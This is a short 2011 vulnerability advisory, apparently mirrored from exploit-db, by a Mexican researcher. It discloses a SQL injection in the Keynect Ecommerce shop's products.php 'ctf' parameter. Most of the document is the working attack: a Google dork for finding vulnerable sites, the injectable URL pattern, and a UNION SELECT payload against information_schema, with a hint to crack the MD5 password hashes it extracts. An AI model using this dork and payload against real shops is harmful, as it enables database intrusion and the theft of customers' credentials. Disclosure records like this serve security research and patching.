Keynect Ecommerce SQL Injection Vulnerability

Despues de mucho , mucho tiempo, vuelvo a publicar una vulnerabilidad , me parece que esta es la numero 16 o 17 que he reportado , ya me habia quedado muchos bugs para mi solo pero esta ves lo compartire , el bug ya fue reportado

gracias un saludo

========================================================================================

| # Title : SQL Injection Keynect Ecommerce |

| # Author : Arturo Zamora |

| # email : Arturo_zamora_c@hotmail.com |

| # DAte : 10/03/2011 |

| # Verified : yes |

| # Risk : High |

| # Published: |

| # Script : Powered by Keynect Ecommerce SHop http://www.keynect.co.uk/ |

| # Dork : inurl:products.php?ctf= |

| # Tested on: Windows Xp |

====================== zeux0r 2011 =================================

Exploit :

======================

http://localhost.com//products.php?ctf={sqli}

======================

example:

======================

http://localhost.com/products.php?ctf=-1+union+select+0,1,….43+from+information_schema.tables--

======================

Information :

======================

password decrypt md5

======================

I Love U Pumosita

================================ Mexican shotos ========================================

Greetz : all my friend * zer0-zo0rg * Bucio * Klanx * Xoxonaizer * GothicX * Duuf * Murder etc

-------------------------------------------------------------------------------------------

Mirror

http://www.exploit-db.com/exploits/16954/